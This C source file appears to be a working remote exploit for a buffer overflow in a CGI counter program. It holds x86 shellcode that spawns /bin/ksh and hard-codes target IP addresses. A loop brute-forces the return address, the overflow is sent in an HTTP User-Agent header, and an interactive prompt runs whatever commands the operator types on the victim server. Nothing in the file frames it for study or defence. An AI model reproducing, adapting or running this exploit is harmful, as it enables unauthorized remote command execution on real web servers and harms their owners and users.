#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

extern int errno;

char shellcode[]=                               
 /*Dump of assembler code from 0x8047d0e to 0x8047dff:*/
 "\xEB\x37"       /*0x8047d0e:      jmp    0x8047d47*/
 "\x5E"           /*0x8047d10:      popl   %esi*/
 /*esi=0x8047d4c*/
                  /*/bin/sh(-c)*/
 "\x8D\x5E\x10"   /*0x8047d11:      leal   0x10(%esi),%ebx -> /bin À» °¡¸®Å´*/
 "\x89\x1E"       /*0x8047d14:      movl   %ebx,(%esi) ebxÀÇ ÁÖ¼ÒÀ» esi¿¡ ³ÖÀ½*/
 
"\x83\xC3\x09"   /*0x8047d16:      addl   $0x8,%ebx 0x08->0x09*/

 "\x89\x5E\x04"   /*0x8047d19:      movl   %ebx,0x4(%esi)*/

 "\x83\xC3\x03"   /*0x8047d1c:      addl   $0x3,%ebx 0x3->0x4*/
 
 "\x89\x5E\x08"   /*0x8047d1f:      movl   %ebx,0x8(%esi) 0x8->0x9*/

 "\x83\xEB\x0C"   /*0x8047d22:      subl   $0xb,%ebx */ /*0B->0C*/

 /*edx*/
 "\x8D\x0E"       /*0x8047d25:      leal   (%esi),%ecx*/
 "\x89\xCA"       /*0x8047d27:      movl   %ecx,%edx*/

 /*eax=0·Î¼­ ¿©·¯°÷¿¡ º¸³½´Ù.*/
 "\x33\xC0"       /*0x8047d29:      xorl   %eax,%eax*/
 "\x89\x46\x0C"   /*0x8047d2b:      movl   %eax,0xc(%esi)*/ /*0c->0D*/
 "\x89\x46\xF5"   /*0x8047d2e:      movl   %eax,0xfffffff5(%esi)*/
 "\x89\x46\xFA"   /*0x8047d31:      movl   %eax,0xfffffffa(%esi)*/
 "\x88\x46\x18"   /*0x8047d34:      movb   %al,0x17(%esi)=23*/
 "\x88\x46\x1B"   /*0x8047d37:      movb   %al,0x1a(%esi)=26*/
 "\xB0\x3B"       /*0x8047d3a:      movb   $0x3b,%al*/

 "\x52"           /*0x8047d3c:      pushl  %edx - ÁÖ¼Ò*/
 "\x51"           /*0x8047d3d:      pushl  %ecx - ÁÖ¼Ò */
 "\x53"           /*0x8047d3e:      pushl  %ebx - /bin/sh*/
 "\x50"           /*0x8047d3f:      pushl  %eax - 0x0*/
 "\x9A\x73\x74\x72\x6E\x07\x72" /*0x8047d40:      lcall  0x7207,0x6e727473*/
 "\xE8\xC4\xFF\xFF\xFF" /*0x8047d47:      call   0x8047d10*/
 "\x31\x33"       /*0x8047d4c:      xorl   %esi,(%ebx)*/
 "\x20\x4A\x61\x6E\x20\x31\x39\x39"
 "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x6b\x73"
 "\x68\x28\x2D\x63\x29";

#define TEST
#undef TEST

#ifdef TEST
#define TARGET "210.221.51.238"
#define PORT 8000
#define URI_STRING "/cgi-bin/counter.cgi"
#define MESS_LEN 783
/*È¯°æ º¯¼ö ¿µ¿ª*/
#define RET_ADDR 0x8047cba
#else
#define TARGET "203.255.128.25"
#define PORT 80
#define URI_STRING "/cgi-bin/Counter.cgi"
#define MESS_LEN 779
#define MESS_LEN2 129
/*È¯°æ º¯¼ö ¿µ¿ª*/
#define RET_ADDR 0x8047cdd
#endif

#define WH_LEN 276
#define RET_LEN 12
#define NOP_CODE1 0xeb
#define NOP_CODE2 0x02

#define ASCII_MODE 0
#define HEX_MODE 1

void dumpdata(char *buffer,int len,int mode)
{
 int i;
 for(i=0;i<len;i++)
 {
  if(mode==ASCII_MODE)
  {
   if(isprint(buffer[i]) || buffer[i]=='\r' || buffer[i]=='\n')
    printf("%c",buffer[i]);
   else
    printf("%.2x ",buffer[i]&0xff);
  }else{
   if(i%8==0)
    printf("\n%d: ",i); 
   printf("%.2x ",buffer[i]&0xff);
  }
 }
}

void main(int argc,char *argv[])
{
 int socket_fd=-1;
 int connect_fd=-1;
 struct sockaddr_in local_addr;
 struct sockaddr_in serv_addr;
 struct in_addr rad;
 int nop_i;
 char exp_buffer[1024*4];
 int copy_pos=0;
 char rbuffer[1024*2];
 char wbuffer[1024*2];
 int rc;
 int wc;
 unsigned long ret_addr;
 int i;
 int nop_len;
 int wh_len=WH_LEN;
 unsigned long bet_len=1L;
 char command_buffer[1024*10];
 int fd=-1;

 if(argc>1)
 {
  bet_len=atol(argv[1]);
 }

 fd=open(".log.txt",O_CREAT|O_APPEND|O_RDWR);
#ifdef PATCH_STACK_MODE
 memcpy(exp_buffer,&ebp_value,4);
 memcpy(exp_buffer+4,&ret_addr,4);
#endif

 wh_len=wh_len-wh_len%4;
 
 printf("CNT by mat@hacksware.com\n");
 fflush(stdout);

 while(1)
 {
  char tmp_buffer[1024];

  printf("syrix ~$ ");
  fflush(stdout);
  bzero(tmp_buffer,sizeof(tmp_buffer));
  if(read(0,tmp_buffer,sizeof(tmp_buffer))<=1)
  {
   continue;
  }
  if(tmp_buffer[strlen(tmp_buffer)-1]==0x0a)
  {
   tmp_buffer[strlen(tmp_buffer)-1]=0x0;
  }
  memset(command_buffer,sizeof(command_buffer),0);
  memset(exp_buffer,sizeof(exp_buffer),0);
  memset(rbuffer,sizeof(rbuffer),0);
  memset(wbuffer,sizeof(wbuffer),0);
  ret_addr=RET_ADDR;
  copy_pos=0;

  printf("sending: [%s]\n",tmp_buffer);
  fflush(stdout);
  if(fd>0)
  {
   write(fd,tmp_buffer,strlen(tmp_buffer));
   write(fd,"\n",strlen("\n"));
  }

#define QUERY_STR "echo Content-Type: txt/html;echo \"\"; %s;echo =======;"
  sprintf(command_buffer,QUERY_STR,tmp_buffer);
  printf("Guessing address...\n");
  printf("Be patient...\n");
  fflush(stdout);
 
  for(i=0;i<sizeof(exp_buffer)-2;i+=2)
  { 
   exp_buffer[i]=NOP_CODE1;
   exp_buffer[i+1]=NOP_CODE2;
  }
  nop_len=wh_len-strlen(shellcode)-strlen(command_buffer)-RET_LEN;
  if(nop_len<=0)
  {
   printf("nop_len too small:%d\n",nop_len);
   printf("too large command line\n");
   fflush(stdout);
   continue;
  }
  copy_pos=nop_len;
  strncpy(exp_buffer+copy_pos,shellcode,strlen(shellcode));
  strncpy(exp_buffer+copy_pos+strlen(shellcode),command_buffer,strlen(command_buffer));
  copy_pos+=strlen(shellcode)+strlen(command_buffer);
  exp_buffer[wh_len]=0x00;
 
  while(1)
  { 
   for(i=copy_pos-copy_pos%4;i<wh_len-4;i+=4)
   {
    memcpy(exp_buffer+i,(char *)&ret_addr,4);
   }
#ifdef DEBUG
   dumpdata(exp_buffer,wh_len,HEX_MODE);
#endif
  
   socket_fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if(socket_fd<0)
   {
    exit(0);
   }
  
   serv_addr.sin_family=AF_INET;
   serv_addr.sin_addr.s_addr=inet_addr(TARGET);
   serv_addr.sin_port=htons(PORT);
   connect_fd=connect(socket_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr));
   if(connect_fd<0)
   {
    printf("error: %d\n",errno);
    exit(0);
   } 
   sprintf(wbuffer,"POST %s HTTP/1.0\r\nUser-Agent: %s\r\n\r\n",URI_STRING,exp_buffer);
   wc=write(socket_fd,wbuffer,strlen(wbuffer));
   if(fd>0)
   {
    //write(fd,wbuffer,wc);
   }
 
   rc=read(socket_fd,rbuffer,sizeof(rbuffer));
   if(rc!=MESS_LEN 
#ifdef MESS_LEN2
   && rc!=MESS_LEN2
#endif
#define FAIL_SIG_STRING "HTTP/1.1 400"
   && !(rc>strlen(FAIL_SIG_STRING) && !strncmp(rbuffer,FAIL_SIG_STRING,strlen(FAIL_SIG_STRING)))
   )
   {
    printf("===================================\nret_addr2: %x\n",ret_addr);
    printf("read %d bytes\n",rc);
    fflush(stdout);
    do{
     if(fd>0)
     {
      write(fd,rbuffer,rc);
     }
     dumpdata(rbuffer,rc,ASCII_MODE);
    } while((rc=read(socket_fd,rbuffer,sizeof(rbuffer)))>0);
    close(socket_fd);
    break;
   }
   close(socket_fd);
   printf(".");
   fflush(stdout);
   ret_addr-=bet_len;
  }
 }
 if(fd>0)
  close(fd);
}

